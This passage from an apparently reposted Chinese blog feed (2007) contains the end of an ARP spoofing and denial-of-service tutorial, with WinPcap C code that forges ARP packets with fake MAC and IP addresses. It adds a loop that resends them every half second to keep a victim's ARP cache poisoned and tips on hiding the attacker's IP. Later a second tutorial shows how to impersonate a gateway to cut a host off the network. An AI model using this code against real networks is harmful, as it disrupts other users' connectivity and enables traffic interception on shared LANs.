/>exit(1);<br />}<br />if(i &gt; 1) {<br />printf("\n\nEnter the interface number (1 - %d): ",i);<br />scanf("%d", &amp;inum);<br />if(inum &lt; 1 || inum &gt; i) {<br />printf("\nInterface number out of range.\n");<br />pcap_freealldevs(alldevs);<br />exit(1);<br />}<br />} else inum = 1;</p><p>/* 跳到被选择的网卡适配器接口 */<br />inum--;<br />for(d = alldevs, i = 0; i &lt; inum; d = d-&gt;next, i++);<br />fprintf(stderr, "\n\nAdapter used: %s\n\n", d-&gt;name);<br />/* 从网络上打开活动的捕获行为，返回一个pcap_t类型描述符 */<br />fp = pcap_open_live(d-&gt;name, 65535, 1, 1000, errbuf);<br />if(fp == NULL) {<br />printf("\nError: %s\n", errbuf);<br />pcap_freealldevs(alldevs);<br />exit(1);<br />}<br />/* 释放pcap_findalldevs()打开的接口列表*/<br />pcap_freealldevs(alldevs);</p><p>return(fp);<br />}<br />上面的注释已经比较清楚了，所有的涉及到的WinPcap的结构体和API函数，以及基于WinPcap程序的编译方法，大家都可以到http://winpcap.polito.it/在线查询或把文档下载后本机查询，或者到论坛询问。在我的代码里，我假设如果用户输入可选的伪MAC地址，则使用这个自定义的伪MAC地址，如果不输入，则使用随机产生的伪MAC地址，代码部分如下：<br />if (!argv[3])<br />{<br />sprintf((char*)mac, "%c%c%c%c%c%c",<br />rand(), rand(), rand(), rand(), rand(), rand());<br />}<br />else<br />{<br />for(i=0; i&lt;ETHERLEN; i++)<br />{<br />sscanf(argv[3], "%02X", &amp;tmp);<br />mac[i] = tmp;<br />argv[3] += 3;<br />}<br />}<br />为了得到由系统时钟产生的随机数，必须在头文件里加入 #include &lt;time.h&gt;，在程序里加入srand(time(NULL)); <br />WSAStartup(MAKEWORD(2, 2), &amp;wsaData); /*初始化win sock库*/<br />ip_add = ResolveAddr(argv[1]);<br />ip_dst = ResolveAddr(argv[2]); <br />WSACleanup(); /* 用完了，记住释放哦 */<br />为了使用winsock2头文件，要指定#pragma comment(lib, "ws2_32.lib")来包含ws2_32.lib库文件。下面就到了自定义构造以太头和ARP头了，这就是我们伪造MAC的加工厂：<br />memcpy(ether-&gt;eh_dst, DEST, ETHERLEN);<br />memcpy(ether-&gt;eh_src, mac, ETHERLEN);<br />ether-&gt;eh_type = htons(ETHERTYPE_ARP); /* #define ETHERTYPE_ARP 0x0806 */<br />arphdr-&gt;arp_hrd = htons(ARPHRD_ETHER);<br />arphdr-&gt;arp_pro = htons(ETHERTYPE_IP);<br />arphdr-&gt;arp_hln = ETHERLEN;<br />arphdr-&gt;arp_pln = PROTOLEN;<br />arphdr-&gt;arp_op = htons(ARPOP_REQUEST); /* 请求服务 */<br />memcpy(arphdr-&gt;arp_sha, mac, ETHERLEN); /* 伪源MAC地址 */<br />arphdr-&gt;arp_spa = ip_add; /* 伪源ARP 协议地址*/<br />memcpy(arphdr-&gt;arp_tha, SOURCE, ETHERLEN); /* 伪目标MAC地址 */<br />arphdr-&gt;arp_tpa = ip_dst; /* 伪目标ARP协议地址 */<br />这里所有的宏都可以在我提供的arp.h头文件里得到对应的定义。每一项都很清晰，主要是构造最后的几项（有注释的行），那里是滋生罪恶的源头。<br />伪MAC包构造好了，最后剩下的就是发送伪数据包了，再次发挥WinPcap库的发包函数，如下：<br />pcap_sendpacket(fp, buff, sizeof(buff)) ; <br />到这，可以长嘘一口气，大吼一声“打完收工”，让我们测试一下成果，看是否能达到我们最开始预定的目标。输入 arpspoof.exe 192.168.3.155 192.168.3.125 11-22-33-44-55-66<br />首先，提示输入接口号，因为WinPcap库必须选择正确的网卡适配器接口，在笔者机子上，安装了2个虚拟机，所以有4个接口，2号接口代表本系统网卡接口，所以选2（你的可能不同哦），回车后，发现右下脚马上提示IP地址冲突…嘿嘿，我们来分析一下，arpspoof.exe是我们哄骗程序，192.168.3.155是笔者的IP地址，192.168.3.162是同一局域网内另一主机IP，就是把192.168.3.155地址的MAC地址11－22－33－44－55－66添加到192.168.3.162这台主机的动态ARP缓存里，攻击过后，192.168.3.162的ARP缓存。<br />刚才我把自己的IP当做参数一导致了自己的IP冲突，那如果我想使192.168.3.162这台机子产生IP冲突，就可以调换一下参数一和参数二的位置，即<br />大家想想什么原理，呵呵，这里我就不多说了。如果想隐瞒作为攻击者的IP,第2个参数可以改成网段内的任意其他的IP。这样，我们发起一次攻击，192.168.3.162的主机就产生一次IP冲突，但这样肯定是不够的，每隔一段时间，对方的ARP缓存就会刷新一次，所以，如果要进行一次ARP Dos攻击的话，我们还必须不断的给他们发，以保证对方ARP缓存始终是我们构造的伪MAC地址。实现很简单，如下：<br />while(1) {<br />if(pcap_sendpacket(fp, buff, sizeof(buff)) &lt; 0) {<br />printf("\nError: problems for sending packet\n");<br />exit(1);<br />}<br />printf(".");<br />sleep(DELAY); /* 这里的#define DELAY (CLOCKS_PER_SEC &gt;&gt; 1) 即半秒 */<br />}<br />攻击过程。<br />点点就表示每隔半秒发送一次ARP包。结果是，在被DoS攻击后，如果再次PING<br />192.168.3.162，即使对方不开防火墙，也没有禁止INNER PING，却仍然PING不通，查看<br />自己的ARP缓存，我们发现，对方的MAC地址编程了00-00-00-00-00-00，攻击成功。<br />小结：<br />在了解了ARP Spoof&amp;Dos攻击的原理后，实现起来就不那么难了。大学校园网常常因为IP资源的严重不足而发生同学们互抢IP的现象，有懂一点ARP哄骗的学生就用网络执法官等工具，而不懂的的就只有任人宰割，如果你还是那被宰割的一部分人中的一个，那么看完了本文的你，是不是也该做点什么了呢。（在光盘的源代码文件里，只提供了一个源代码文件arpspoof.cpp，它的作用是实现给目标IP添加ARP缓存，而arpdos.cpp我没有提供，防止有人做坏事，呵呵，如果你是真心抱着学习的态度，那么我相信看完</p></font>
												</blockquote>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.blogjava.net/yczz/aggbug/100081.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yczz/" target="_blank">飞鸟</a> 2007-02-16 22:14 <a href="http://www.blogjava.net/yczz/articles/100081.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（转）网卡MAC地址相关信息大全（整理）（下）</title><link>http://www.blogjava.net/yczz/articles/100061.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:56:00 GMT</pubDate><guid>http://www.blogjava.net/yczz/articles/100061.html</guid><wfw:comment>http://www.blogjava.net/yczz/comments/100061.html</wfw:comment><comments>http://www.blogjava.net/yczz/articles/100061.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yczz/comments/commentRss/100061.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yczz/services/trackbacks/100061.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 如何实现修改网卡物理地址的三种方法																																		同样要感谢胡大虾																																												1				、				买一块可以通过写				eeprom				物理的修改网卡地址，这种卡现在				...&nbsp;&nbsp;<a href='http://www.blogjava.net/yczz/articles/100061.html'>阅读全文</a><img src ="http://www.blogjava.net/yczz/aggbug/100061.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:56 <a href="http://www.blogjava.net/yczz/articles/100061.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（转）网卡MAC地址相关信息大全（整理）（上）</title><link>http://www.blogjava.net/yczz/articles/100060.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:54:00 GMT</pubDate><guid>http://www.blogjava.net/yczz/articles/100060.html</guid><wfw:comment>http://www.blogjava.net/yczz/comments/100060.html</wfw:comment><comments>http://www.blogjava.net/yczz/articles/100060.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yczz/comments/commentRss/100060.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yczz/services/trackbacks/100060.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 首先要感谢				jzyhummel(				刀锋				[				篱影				]) 				兄弟				提供的部分资料				^_^														 																		   								网卡地址这个概念有点混淆不清。因为实际上有两个地址，				mac				地址和物理地址	...&nbsp;&nbsp;<a href='http://www.blogjava.net/yczz/articles/100060.html'>阅读全文</a><img src ="http://www.blogjava.net/yczz/aggbug/100060.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:54 <a href="http://www.blogjava.net/yczz/articles/100060.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（转）手把手教你捕获数据包(下)【数据包的游戏系列之二】</title><link>http://www.blogjava.net/yczz/articles/100059.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:53:00 GMT</pubDate><guid>http://www.blogjava.net/yczz/articles/100059.html</guid><wfw:comment>http://www.blogjava.net/yczz/comments/100059.html</wfw:comment><comments>http://www.blogjava.net/yczz/articles/100059.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yczz/comments/commentRss/100059.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yczz/services/trackbacks/100059.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: B. 				打开相应网卡并设置为混杂模式：																																								   								在此之前肯定要有一段让用户选择网卡、并获得用户选择的网卡的名字的代码，既然上面已经可以获得所有网卡的名字了，这段代码就暂且略过了。																								...&nbsp;&nbsp;<a href='http://www.blogjava.net/yczz/articles/100059.html'>阅读全文</a><img src ="http://www.blogjava.net/yczz/aggbug/100059.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:53 <a href="http://www.blogjava.net/yczz/articles/100059.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（转）手把手教你捕获数据包(上)【数据包的游戏系列之二】</title><link>http://www.blogjava.net/yczz/articles/100058.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:51:00 GMT</pubDate><guid>http://www.blogjava.net/yczz/articles/100058.html</guid><wfw:comment>http://www.blogjava.net/yczz/comments/100058.html</wfw:comment><comments>http://www.blogjava.net/yczz/articles/100058.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yczz/comments/commentRss/100058.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yczz/services/trackbacks/100058.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 前																						   																				言																																																														   														  														经常看到论坛有人...&nbsp;&nbsp;<a href='http://www.blogjava.net/yczz/articles/100058.html'>阅读全文</a><img src ="http://www.blogjava.net/yczz/aggbug/100058.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:51 <a href="http://www.blogjava.net/yczz/articles/100058.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（转）手把手教你玩转ARP包（完）【数据包的游戏系列之一】 </title><link>http://www.blogjava.net/yczz/articles/100057.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:49:00 GMT</pubDate><guid>http://www.blogjava.net/yczz/articles/100057.html</guid><wfw:comment>http://www.blogjava.net/yczz/comments/100057.html</wfw:comment><comments>http://www.blogjava.net/yczz/articles/100057.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yczz/comments/commentRss/100057.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yczz/services/trackbacks/100057.html</trackback:ping><description><![CDATA[
		<table width="600" border="0">
				<tbody>
						<tr>
								<td align="left">
										<div>
												<font face="宋体" color="#ff00ff" size="2">作者：</font>
										</div>
										<div>
												<font size="2">
														<font face="宋体">   <font color="#0000ff">CSDN  VC/MFC 网络编程</font><font color="#f70909">PiggyXP</font>  <font color="#0909f7">^_^</font></font>
												</font>
										</div>
										<div>
												<strong>
														<font face="宋体" color="#800080" size="2">
														</font>
												</strong> </div>
										<div>
												<font color="#ff00ff">本篇目录：<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?><o:p></o:p></font>
												<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 24pt; TEXT-INDENT: -24pt; mso-list: l2 level1 lfo1; tab-stops: list 24.0pt">
														<span lang="EN" style="FONT-SIZE: 9pt; COLOR: blue; mso-bidi-font-family: 宋体">
																<span style="mso-list: Ignore">
																		<font face="Times New Roman">
																				<strong>    四。ARP包的游戏</strong>
																		</font>
																</span>
														</span>
												</p>
												<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 24pt; TEXT-INDENT: -24pt; mso-list: l2 level1 lfo1; tab-stops: list 24.0pt">
														<span lang="EN" style="FONT-SIZE: 9pt; COLOR: blue; mso-bidi-font-family: 宋体">
																<span style="mso-list: Ignore">
																		<strong>
																				<font face="Times New Roman">      1 .   小伎俩</font>
																		</strong>
																</span>
														</span>
												</p>
												<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 24pt; TEXT-INDENT: -24pt; mso-list: l2 level1 lfo1; tab-stops: list 24.0pt">
														<span lang="EN" style="FONT-SIZE: 9pt; COLOR: blue; mso-bidi-font-family: 宋体">
																<span style="mso-list: Ignore">
																		<strong>
																				<font face="Times New Roman">      2.    ARP欺骗的实现</font>
																		</strong>
																</span>
														</span>
												</p>
												<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 24pt; TEXT-INDENT: -24pt; mso-list: l2 level1 lfo1; tab-stops: list 24.0pt">
														<span lang="EN" style="FONT-SIZE: 9pt; COLOR: blue; mso-bidi-font-family: 宋体">
																<span style="mso-list: Ignore">
																		<strong>
																				<font face="Times New Roman">      3.   基于ARP欺骗的监听原理</font>
																		</strong> </span>
														</span>
												</p>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"> </p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">四．<font color="#dd22dd"><span lang="EN" style="FONT-SIZE: 9pt"><font face="宋体, MS Song">ARP</font></span><span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">包的游戏</span></font><span lang="EN" style="FONT-SIZE: 9pt"><o:p></o:p></span></p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21.75pt">
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">既然我们可以自己来填充数据包，那么来玩些</span>
				<span lang="EN" style="FONT-SIZE: 9pt">ARP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的“小游戏”欺骗就是易如反掌了，当然，是在没有安全防护的网络里</span>
				<span style="FONT-SIZE: 9pt">
				</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，比如只有</span>
				<span lang="EN" style="FONT-SIZE: 9pt">hub</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">或者交换机把你们相连，而没有路由分段</span>
				<span lang="EN" style="FONT-SIZE: 9pt">……^_^<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21.75pt">
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">下面我就由浅入深的讲一些介绍一些关于</span>
				<span lang="EN" style="FONT-SIZE: 9pt">ARP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的小伎俩。</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21.75pt">
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">
				</span>
				<span lang="EN" style="FONT-SIZE: 9pt">
						<o:p>
						</o:p>
				</span> </p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21.75pt">
				<font color="#e61ae6">
						<span lang="EN" style="FONT-SIZE: 9pt">1. </span>
						<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">小伎俩</span>
				</font>
				<span lang="EN" style="FONT-SIZE: 9pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 39pt; TEXT-INDENT: -18pt; mso-list: l1 level2 lfo1; tab-stops: list 39.0pt">
				<span lang="EN" style="FONT-SIZE: 9pt; mso-fareast-font-family: 'Times New Roman'">
						<span style="mso-list: Ignore">1)<span style="FONT: 7pt 'Times New Roman'">       </span></span>
				</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">你可以试着发一个请求包广播，其中的</span>
				<span lang="EN" style="FONT-SIZE: 9pt">ARP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">帧里关于你的信息填成这样：</span>
				<span lang="EN" style="FONT-SIZE: 9pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 39pt">
				<span lang="EN" style="FONT-SIZE: 9pt">(</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">为了节省篇幅，我只写需要特别指出的填充字段</span>
				<span lang="EN" style="FONT-SIZE: 9pt">)<o:p></o:p></span>
		</p>
		<table class="MsoTableGrid" style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none; BORDER-COLLAPSE: collapse; mso-border-alt: solid windowtext .5pt; mso-yfti-tbllook: 480; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext" cellspacing="0" cellpadding="0" border="1">
				<tbody>
						<tr style="mso-yfti-irow: 0; mso-yfti-firstrow: yes">
								<td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 77.4pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt" width="103">
										<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center">
												<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">发送方<span lang="EN">MAC<o:p></o:p></span></span>
										</p>
								</td>
								<td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 47.55pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" width="63">
										<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center">
												<span lang="EN" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">6<o:p></o:p></span>
										</p>
								</td>
								<td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 301.15pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" width="402">
										<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center">
												<b style="mso-bidi-font-weight: normal">
														<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">随便乱填一个错误的<span lang="EN"><o:p></o:p></span></span>
												</b>
										</p>
								</td>
						</tr>
						<tr style="mso-yfti-irow: 1; mso-yfti-lastrow: yes">
								<td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 77.4pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt" width="103">
										<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center">
												<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">发送方<span lang="EN">IP<o:p></o:p></span></span>
										</p>
								</td>
								<td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 47.55pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" width="63">
										<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center">
												<span lang="EN" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">4<o:p></o:p></span>
										</p>
								</td>
								<td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #ece9d8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 301.15pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" width="402">
										<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center">
												<b style="mso-bidi-font-weight: normal">
														<span lang="EN" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">
																<span style="mso-spacerun: yes"> </span>
														</span>
												</b>
												<b style="mso-bidi-font-weight: normal">
														<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">填上你的<span lang="EN">IP<o:p></o:p></span></span>
												</b>
										</p>
								</td>
						</tr>
				</tbody>
		</table>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21.75pt">
				<span lang="EN" style="FONT-SIZE: 9pt">
						<span style="mso-spacerun: yes">   </span>
				</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">出现什么结果？是不是弹出一个</span>
				<span lang="EN" style="FONT-SIZE: 9pt">IP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">地址冲突的提示？呵呵，同样的道理，如果发送方</span>
				<span lang="EN" style="FONT-SIZE: 9pt">IP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">填成别人的，然后每隔</span>
				<span lang="EN" style="FONT-SIZE: 9pt">1</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">秒发一次</span>
				<span lang="EN" style="FONT-SIZE: 9pt">………..-_-b<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21.75pt">
				<span lang="EN" style="FONT-SIZE: 9pt">
						<o:p> </o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 39pt; TEXT-INDENT: -18pt; mso-list: l1 level2 lfo1; tab-stops: list 39.0pt">
				<span lang="EN" style="FONT-SIZE: 9pt; mso-fareast-font-family: 'Times New Roman'">
						<span style="mso-list: Ignore">2)<span style="FONT: 7pt 'Times New Roman'">       </span></span>
				</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">比如你们都靠一个网关</span>
				<span lang="EN" style="FONT-SIZE: 9pt">192.168.0.1 </span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">上网</span>
				<span style="FONT-SIZE: 9pt">
				</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，如果你想让</span>
				<span lang="EN" style="FONT-SIZE: 9pt">192.168.0.77 </span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">上不了网，就可以伪装成网关给</span>
				<span lang="EN" style="FONT-SIZE: 9pt">192.168.0.77</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">发一个错误的</span>
				<span lang="EN" style="FONT-SIZE: 9pt">ARP</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">响应包</span>
				<span lang="EN" style="FONT-SIZE: 9pt">, like this <o:p></o:p></span>
		</p>
		<table class="MsoTableGrid" style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none; BORDER-COLLAPSE: collapse; mso-border-alt: solid windowtext .5pt; mso-yfti-tbllook: 480; mso-padding-alt: 0cm 5.4pt 0cm 5.4pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext" cellspacing="0" cellpadding="0" border="1">
				<tbody>
						<tr style="mso-yfti-irow: 0; mso-yfti-firstrow: yes">
								<td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: windowtext 1pt solid; WIDTH: 77.4pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt" width="103">
										<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center">
												<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">发送方<span lang="EN">MAC<o:p></o:p></span></span>
										</p>
								</td>
								<td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 47.55pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" width="63">
										<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center">
												<span lang="EN" style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">6<o:p></o:p></span>
										</p>
								</td>
								<td style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #ece9d8; WIDTH: 301.15pt; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt" width="402">
										<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center">
												<b style="mso-bidi-font-weight: normal">
														<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">随便乱填一个错误的<span lang="EN"><o:p></o:p></span></span>
												</b>
										</p>
								</td>
						</tr>
						<tr style="mso-yfti-irow: 1; mso-yfti-lastrow: yes">
